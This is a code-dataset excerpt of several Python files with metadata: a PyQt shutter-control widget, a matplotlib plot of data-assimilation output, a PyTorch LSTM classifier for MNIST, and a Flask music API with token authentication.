QtGui.QBrush(QtGui.QColor('#b5b3b3'))\n self._opened_brush = QtGui.QBrush(QtGui.QColor('#009688'))\n self._height_half = self._height * 0.5\n self._is_shutter_open = self.connection.get_operating_state() == SC_OperatingStates.SC_Active\n\n def paintEvent(self, event):\n if self._is_shutter_open:\n brush = self._opened_brush\n offset = self.width() - self._height_half - 2 * self._pad\n opacity = 0.5\n else:\n brush = self._closed_brush\n offset = self._height_half\n opacity = 0.3\n\n p = QtGui.QPainter(self)\n p.setPen(QtCore.Qt.NoPen)\n p.setRenderHint(QtGui.QPainter.Antialiasing, True)\n ellipse = QtCore.QRectF(offset - self._height_half, 0.0, self.height(), self.height())\n rect = QtCore.QRect(self._pad, self._pad, self.width() - 2 * self._pad, self.height() - 2 * self._pad)\n if self.isEnabled():\n p.setBrush(brush)\n p.drawEllipse(ellipse)\n p.setOpacity(opacity)\n p.drawRoundedRect(rect, self._height_half, self._height_half)\n else:\n p.setBrush(QtCore.Qt.black)\n p.setOpacity(0.12)\n p.drawRoundedRect(rect, self._height_half, self._height_half)\n p.setOpacity(1.0)\n p.setBrush(QtGui.QColor('#BDBDBD'))\n p.drawEllipse(ellipse)\n\n def resizeEvent(self, event):\n self.paintEvent(event)\n\n def mousePressEvent(self, event):\n if event.button() == QtCore.Qt.LeftButton:\n if self._is_shutter_open:\n self.close_shutter()\n else:\n self.open_shutter()\n self._is_shutter_open = not self._is_shutter_open\n super(ShutterWidget, self).mousePressEvent(event)\n\n def enterEvent(self, event):\n self.setCursor(QtCore.Qt.PointingHandCursor)\n super(ShutterWidget, self).enterEvent(event)\n\n def sizeHint(self):\n return QtCore.QSize(2 * (self._height + self._pad), self._height + 2 * self._pad)\n\n def closeEvent(self, event):\n self.close_shutter()\n\n def open_shutter(self):\n self.connection.set_operating_state(SC_OperatingStates.SC_Active)\n self.setToolTip('Shutter is open')\n\n def close_shutter(self):\n self.connection.set_operating_state(SC_OperatingStates.SC_Inactive)\n self.setToolTip('Shutter is closed')\n", "sub_path": "few_photons/gui/shutter_widget.py", "file_name": "shutter_widget.py", "file_ext": "py", "file_size_in_byte": 3036, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "PyQt5.QtWidgets.QAbstractButton", "line_number": 6, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 6, "usage_type": "name"}, {"api_name": "msl.equipment.resources.thorlabs.kinesis.enums.SC_OperatingModes.SC_Manual", "line_number": 13, "usage_type": "attribute"}, {"api_name": "msl.equipment.resources.thorlabs.kinesis.enums.SC_OperatingModes", "line_number": 13, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QBrush", "line_number": 18, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 18, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 18, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QBrush", "line_number": 19, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 19, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 19, "usage_type": "call"}, {"api_name": "msl.equipment.resources.thorlabs.kinesis.enums.SC_OperatingStates.SC_Active", "line_number": 21, "usage_type": "attribute"}, {"api_name": "msl.equipment.resources.thorlabs.kinesis.enums.SC_OperatingStates", "line_number": 21, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPainter", "line_number": 33, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 33, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 34, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 34, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPainter", "line_number": 35, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui", "line_number": 35, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRectF", "line_number": 36, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 36, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 37, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 37, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 44, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 44, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 48, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 48, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 55, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 55, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 64, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 64, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSize", "line_number": 68, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 68, "usage_type": "name"}, {"api_name": "msl.equipment.resources.thorlabs.kinesis.enums.SC_OperatingStates.SC_Active", "line_number": 74, "usage_type": "attribute"}, {"api_name": "msl.equipment.resources.thorlabs.kinesis.enums.SC_OperatingStates", "line_number": 74, "usage_type": "name"}, {"api_name": "msl.equipment.resources.thorlabs.kinesis.enums.SC_OperatingStates.SC_Inactive", "line_number": 78, "usage_type": "attribute"}, {"api_name": "msl.equipment.resources.thorlabs.kinesis.enums.SC_OperatingStates", "line_number": 78, "usage_type": "name"}]} +{"seq_id": "166601924", "text": "import numpy as np\nimport matplotlib. pyplot as plt\n\nparameters=np.loadtxt(\"./DATA_4DEnVAR/parameters_python.out\")\nparameters=parameters.astype(int)\nn=parameters[0]\nm=parameters[1]\nNen=parameters[2]\ntsim=parameters[3]\ndawindows=parameters[4]\nsta_ass=parameters[5]\n\nxamean=np.loadtxt(\"./DATA_4DEnVAR/Xamean.dat\")\nxamean=np.reshape(xamean,(n,tsim),2)\nxreal=np.loadtxt(\"./DATA_4DEnVAR/Xreal.dat\")\nxreal=np.reshape(xreal,(n,tsim),2)\nt=np.arange(tsim)\ntass=np.arange(sta_ass,tsim)\n\nplt.subplot(131)\nplt.plot(t,xreal[5,],'*')\nplt.plot(tass,xamean[5,sta_ass:tsim],linewidth=2.5)\nplt.axvline(x=sta_ass,color='k')\nplt.axvline(x=sta_ass+dawindows,color='g')\nplt.plot(sta_ass,xamean[5,sta_ass],\"Xy\")\nplt.title('State 5')\nplt.legend([\"X True\", \"Xa\",\"Start Assimilation\",\"End Assimilation\",\"Inital Condition\"], fontsize=\"small\")\nplt.xlabel(\"Time Steps\")\n\n\nplt.subplot(132)\nplt.plot(t,xreal[20,],'*')\nplt.plot(tass,xamean[20,sta_ass:tsim],linewidth=2.5)\nplt.axvline(x=sta_ass,color='k')\nplt.axvline(x=sta_ass+dawindows,color='g')\nplt.plot(sta_ass,xamean[20,sta_ass],\"Xy\")\nplt.title('State 20')\nplt.legend([\"X True\", \"Xa\",\"Start Assimilation\",\"End Assimilation\",\"Initial Condition\"], fontsize=\"small\")\nplt.xlabel(\"Time Steps\")\n\nplt.subplot(133)\nplt.plot(t,xreal[30,],'*')\nplt.plot(tass,xamean[30,sta_ass:tsim],linewidth=2.5)\nplt.axvline(x=sta_ass,color='k')\nplt.axvline(x=sta_ass+dawindows,color='g')\nplt.plot(sta_ass,xamean[30,sta_ass],\"Xy\")\nplt.title('State 30')\nplt.legend([\"X True\", \"Xa\",\"Start Assimilation\",\"End Assimilation\",\"Initial Condition\"], fontsize=\"small\")\nplt.xlabel(\"Time Steps\")\n\nplt.show()\n\n", "sub_path": "FORTRAN/Lorenz_EnKF/leer_4DEnVAR.py", "file_name": "leer_4DEnVAR.py", "file_ext": "py", "file_size_in_byte": 1595, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.loadtxt", "line_number": 4, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}]} +{"seq_id": "360748947", "text": "# -*- coding:utf-8 -*-\n# File: lstm.py\n# datetime: 2021/5/15 13:00\n# software: PyCharm\n\nimport torch\nimport torch.nn as nn\nimport numpy as np\nimport torchvision\nimport torchvision.transforms as transforms\nimport torchvision.datasets as datasets\nimport matplotlib.pyplot as plt\nfrom torch.utils.data import DataLoader\n\n\"\"\"\n LSTM训练过程：\n 1.加载数据集\n 2.切分数据，使其可迭代，每次迭代一个batch\n 3.创建模型类\n 4.初始化模型参数\n 5.初始化损失类\n 6.训练模型\n\"\"\"\n\n# 加载数据集\ntrainSet = datasets.MNIST(root='./data', train=True, download=True,\n transform=transforms.ToTensor())\ntestSet = datasets.MNIST(root='./data', train=False, download=False,\n transform=transforms.ToTensor())\n# 2.2 定义超参数\nBATCH_SIZE = 32 # 每批读取的数据大小\nEPOCHS = 10\n\n# 2.3 创建数据集的可迭代对象，即一个batch的读取数据\ntrain_loader = torch.utils.data.DataLoader(dataset=trainSet, batch_size=BATCH_SIZE, shuffle=True)\ntest_loader = torch.utils.data.DataLoader(dataset=testSet, batch_size=BATCH_SIZE, shuffle=False)\n\n# 2.4 查看一批batch的数据\nimages, labels = next(iter(test_loader))\n\n\n# 显示一批数据\ndef imshow(inp, title=None): # 不显示标题\n inp = inp.numpy().transpose((1, 2, 0)) # 数据变换为numpy格式,并调整顺利\n mean = np.array([0.485, 0.456, 0.406]) # 采用官网数据\n std = np.array([0.229, 0.224, 0.225])\n inp = std * inp + mean # 数据恢复\n inp = np.clip(inp, 0, 1) # 像素值进行压缩\n plt.imshow(inp)\n if title is not None:\n plt.title(title)\n plt.pause(0.001)\n\n\n# 网格显示\nout = torchvision.utils.make_grid(images)\nimshow(out)\n\n\n# 3 定义模型类\nclass LstmModel(nn.Module):\n def __init__(self, input_dim, hidden_dim, layer_dim, output_dim):\n super(LstmModel, self).__init__() # 初始化父类\n self.hidden_dim = hidden_dim # 进行赋值\n self.layer_dim = layer_dim\n # 创建LSTM模型\n self.lstm = nn.LSTM(input_dim, hidden_dim, layer_dim, batch_first=True) # batch_first=True把batchSize调到最前面\n # 全连接层，线性\n self.fc = nn.Linear(hidden_dim, output_dim)\n\n def forward(self, x):\n # 初始隐藏层的状态设置为0\n # (layer_dim, batch_size, hidden_dim)\n h0 = torch.zeros(self.layer_dim, x.size(0), self.hidden_dim).requires_grad_().to(device) # 返回一个由标量值0填充的张量\n # 初始化cell state\n c0 = torch.zeros(self.layer_dim, x.size(0), self.hidden_dim).requires_grad_().to(device)\n # 分离隐藏状态，避免梯度爆炸\n out, (hn, cn) = self.lstm(x, (h0.detach(), c0.detach()))\n # 只需要最后一层隐藏层的状态,因此用-1\n out = self.fc(out[:, -1, :])\n return out\n\n\n# 4. 初始化模型\ninputs_dim = 28 # 输入维度，图片是28*28\nhiddens_dim = 100 # 隐藏层或神经元维度\nlayers_dim = 1 # 1个隐藏层\noutputs_dim = 10 # 输出维度10:0-9\n# 根据设备是否支持GPU来选择硬件\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\nmodel = LstmModel(inputs_dim, hiddens_dim, layers_dim, outputs_dim)\n\n# 查看网络参数\nfor i in range(len(list(model.parameters()))):\n print(\"参数: %d\" %(i+1))\n print(list(model.parameters())[i].size())\n\n# 5. 定义损失函数,交叉熵\ncriterion = nn.CrossEntropyLoss()\n\n# 6. 初始化优化器\nlearning_rate = 0.1 # 太大会出现梯度爆炸\noptimizer = torch.optim.SGD(model.parameters(), lr=learning_rate)\n\n# 7. 模型训练\nsequence_dim = 28 # 序列长度\nloss_list = [] # 保存loss\naccuracy_list = []\niteration_list = []\niter = 0\n\nfor epoch in range(EPOCHS):\n print(' Finish {} Epoch,'.format(epoch))\n for i, (images, labels) in enumerate(train_loader): # enumerate函数可以返回枚举对象及对应序号\n model.train() # 声明模型训练\n # 一个batch的数据转换为LSTM的输入维度\n images = images.view(-1, sequence_dim, inputs_dim).requires_grad_().to(device)\n labels = labels.to(device)\n # 梯度清0,否则会不断积累\n optimizer.zero_grad() # optimizer数量可以更改\n # 前向传播\n outputs = model(images)\n # 计算损失\n loss = criterion(outputs, labels)\n # 反向传播\n loss.backward()\n # 更新参数\n optimizer.step()\n # 计算器自增\n iter += 1\n # 模型验证,每500次验证一次\n if iter % 500 == 0:\n model.eval() # 申明\n correct = 0.0\n total = 0.0\n # 迭代测试集\n for images, labels in test_loader:\n # 一个batch的数据转换为LSTM的输入维度\n images = images.view(-1, sequence_dim, inputs_dim).to(device)\n # 模型预测\n outputs = model(images)\n # 获得预测概率最大值的下标\n predict = torch.max(outputs.data, -1)[1]\n # 统计label的数量\n total += labels.size(0) # labels.size(0)=32,一个batchSize的大小\n # 统计预测正确的数量\n if torch.cuda.is_available():\n correct += (predict.gpu() == labels.gpu()).sum()\n else:\n correct += (predict == labels).sum()\n # 计算accuracy\n accuracy = correct / total * 100\n # 保存loss,accuracy，iter\n loss_list.append(loss.data)\n accuracy_list.append(accuracy)\n iteration_list.append(iter)\n print('\\tbatch: {} Loss: {} Accuracy: {}'.format(iter, loss.item(), accuracy))\n # loss可视化\n plt.plot(iteration_list, loss_list, color='darkorange')\n plt.xlabel('Number of Iteration')\n plt.ylabel('Loss')\n plt.title('LSTM')\n plt.savefig('LSTM_loss.png')\n plt.show()\n # accuracy可视化\n plt.plot(iteration_list, accuracy_list, color='r')\n plt.xlabel('Number of Iteration')\n plt.ylabel('Accuracy')\n plt.title('LSTM')\n plt.savefig('LSTM_accuracy.png')\n plt.show()\n", "sub_path": "LSTM/lstm.py", "file_name": "lstm.py", "file_ext": "py", "file_size_in_byte": 6323, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "torchvision.datasets.MNIST", "line_number": 26, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 26, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 27, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 27, "usage_type": "name"}, {"api_name": "torchvision.datasets.MNIST", "line_number": 28, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 28, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 29, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 35, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 36, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "torchvision.utils.make_grid", "line_number": 56, "usage_type": "call"}, {"api_name": "torchvision.utils", "line_number": 56, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 61, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 61, "usage_type": "name"}, {"api_name": "torch.nn.LSTM", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 67, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 69, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 90, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 90, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 90, "usage_type": "attribute"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 100, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 104, "usage_type": "attribute"}, {"api_name": "torch.max", "line_number": 144, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 148, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 148, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 160, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 160, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 161, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 161, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 162, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 162, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 163, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 163, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 164, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 164, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 165, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 165, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 167, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 167, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 168, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 168, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 169, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 169, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 170, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 170, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 171, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 171, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 172, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 172, "usage_type": "name"}]} +{"seq_id": "343893504", "text": "from flask import jsonify, request, url_for, g\nfrom functools import wraps\nfrom app import db\nfrom app.models import User, MusicItem\nfrom app.api import bp \nfrom app.api.errors import bad_request\nfrom app.api.auth import basic_auth, token_auth\n\ndef force_refresh_authentication(f):\n @wraps(f)\n def decorated(*args, **kwargs):\n g.token_auth_type = 'refresh'\n return f(*args, **kwargs)\n return decorated\n\n@bp.route('/users/', methods=['GET'])\n@token_auth.login_required\ndef get_user(id):\n user = User.query.get_or_404(id)\n return jsonify(user.to_dict())\n\n@bp.route('/users', methods=['POST'])\ndef create_user():\n data = request.get_json() or {}\n if 'email' not in data or 'password' not in data:\n return bad_request('An email and password is required to create and account')\n if User.query.filter_by(email = data['email']).first():\n return bad_request('Email address already in use.')\n user = User()\n user.from_dict(data, new_user=True)\n db.session.add(user)\n db.session.commit()\n response = jsonify(user.to_dict())\n response.status_code = 201\n response.headers['Location'] = url_for('api.get_user', id=user.id)\n return response\n\n@bp.route('/music/default', methods=['GET'])\ndef get_default_music_list():\n page = request.args.get('page', 1, type=int)\n per_page = min(request.args.get('per_page', 20, type=int), 100)\n data = MusicItem.to_collection_dict(\n MusicItem.query.order_by(MusicItem.listen_count.desc()), \n page, per_page, 'api.get_default_music_list')\n return jsonify(data)\n \n@bp.route('/music/home', methods=['GET'])\n@token_auth.login_required\ndef get_user_home_music_list():\n user = token_auth.current_user()\n pinned_music_ids = db.session.query(MusicItem.id).filter(\n User.pinned_music).filter(User.id == user.id)\n page = request.args.get('page', 1, type=int)\n per_page = min(request.args.get('per_page', 20, type=int), 100)\n data = MusicItem.to_collection_dict(\n MusicItem.query.filter(~MusicItem.id.in_(pinned_music_ids)),\n page, per_page, 'api.get_user_home_music_list')\n return jsonify(data)\n\n@bp.route('/music/pinned', methods=['GET'])\n@token_auth.login_required \ndef get_pinned_music_list():\n user = token_auth.current_user()\n page = request.args.get('page', 1, type=int)\n per_page = min(request.args.get('per_page', 5, type=int), 10)\n data = user.to_collection_dict(\n user.pinned_music, \n page, per_page, 'api.get_pinned_music_list')\n return jsonify(data)\n\n@bp.route('/music/pinned/', methods=['POST'])\n@token_auth.login_required \ndef pin_music(id):\n user = token_auth.current_user()\n music_item = MusicItem.query.get_or_404(id)\n if user.is_pinned(music_item):\n return bad_request('Music video is already in pinned list')\n if music_item.pin_count is None:\n music_item.pin_count = 1\n else: \n setattr(music_item, 'pin_count', MusicItem.pin_count + 1)\n db.session.add(music_item)\n user.pin_music_item(music_item)\n db.session.commit()\n return '', 200\n\n@bp.route('/music/pinned/', methods=['DELETE'])\n@token_auth.login_required \ndef unpin_music(id):\n user = token_auth.current_user()\n music_item = MusicItem.query.get_or_404(id)\n if user.is_pinned(music_item) is None:\n return bad_request('Music video not found in pinned list')\n if music_item.pin_count is None:\n music_item.pin_count = 0\n else:\n setattr(music_item, 'pin_count', MusicItem.pin_count - 1)\n db.session.add(music_item)\n user.unpin_music_item(music_item)\n db.session.commit()\n return '', 204\n\n@bp.route('/music/private', methods=['GET'])\n@token_auth.login_required \ndef get_private_music_list():\n user = token_auth.current_user()\n page = request.args.get('page', 1, type=int)\n per_page = min(request.args.get('per_page', 5, type=int), 10)\n data = user.to_collection_dict(\n user.private_music, \n page, per_page, 'api.get_private_music_list')\n return jsonify(data)\n\n@bp.route('/music/private', methods=['POST'])\n@token_auth.login_required\ndef create_music_item():\n data = request.get_json() or {}\n user = token_auth.current_user()\n if 'resource_type' not in data or 'resource_id' not in data:\n return bad_request('must include resource type and resource id fields')\n music_item = MusicItem.query.filter_by(resource_type=data['resource_type'], \n resource_id=data['resource_id']).first()\n if music_item:\n if music_item.private == False: \n return bad_request('Music video already publicly avaliable')\n if user.is_in_private_list(music_item): \n return bad_request('Music video is already in private list')\n if music_item is None:\n music_item = MusicItem()\n music_item.from_dict(data, private=True)\n user.create_private_music_item(music_item)\n db.session.commit()\n return '', 201\n\n@bp.route('/music/private/', methods=['DELETE'])\n@token_auth.login_required \ndef remove_from_private_music_list(id):\n user = token_auth.current_user()\n music_item = MusicItem.query.get_or_404(id)\n if user.is_in_private_list(music_item) is None:\n return bad_request('Music video not found in private list')\n user.remove_private_music_item(music_item)\n db.session.commit()\n return '', 200\n\n\n@bp.route('/tokens', methods=['POST'])\n@basic_auth.login_required\ndef get_user_tokens():\n user_tokens = basic_auth.current_user().get_user_tokens()\n access_token = user_tokens['access_token']\n refresh_token = user_tokens['refresh_token']\n db.session.commit()\n return jsonify({\n 'access_token': access_token.token, \n 'refresh_token': refresh_token.token\n })\n\n@bp.route('/tokens/refresh', methods=['POST'])\n@force_refresh_authentication\n@token_auth.login_required\ndef refresh_tokens():\n user_tokens = basic_auth.current_user().get_user_tokens(full_refresh=True)\n access_token = user_tokens['access_token']\n refresh_token = user_tokens['refresh_token']\n db.session.commit()\n return jsonify({\n 'access_token': access_token.token, \n 'refresh_token': refresh_token.token\n })\n\n@bp.route('/tokens', methods=['DELETE'])\n@token_auth.login_required\ndef revoke_user_token():\n user_tokens = token_auth.current_user().get_user_tokens()\n user_tokens['access_token'].revoke_token()\n user_tokens['refresh_token'].revoke_token()\n db.session.commit()\n return '', 204", "sub_path": "app/api/routes.py", "file_name": "routes.py", "file_ext": "py", "file_size_in_byte": 6594, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "flask.g.token_auth_type", "line_number": 12, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 12, "usage_type": "name"}, {"api_name": "functools.wraps", "line_number": 10, "usage_type": "call"}, {"api_name": "app.models.User.query.get_or_404", "line_number": 19, "usage_type": "call"}, {"api_name": "app.models.User.query", "line_number": 19, "usage_type": "attribute"}, {"api_name": "app.models.User", "line_number": 19, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 20, "usage_type": "call"}, {"api_name": "app.api.bp.route", "line_number": 16, "usage_type": "call"}, {"api_name": "app.api.bp", "line_number": 16, "usage_type": "name"}, {"api_name": "app.api.auth.token_auth.login_required", "line_number": 17, "usage_type": "attribute"}, {"api_name": "app.api.auth.token_auth", "line_number": 17, "usage_type": "name"}, {"api_name": "flask.request.get_json", "line_number": 24, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 24, "usage_type": "name"}, {"api_name": "app.api.errors.bad_request", "line_number": 26, "usage_type": "call"}, {"api_name": "app.models.User.query.filter_by", "line_number": 27, "usage_type": "call"}, {"api_name": "app.models.User.query", "line_number": 27, "usage_type": "attribute"}, {"api_name": "app.models.User", "line_number": 27, "usage_type": "name"}, {"api_name": 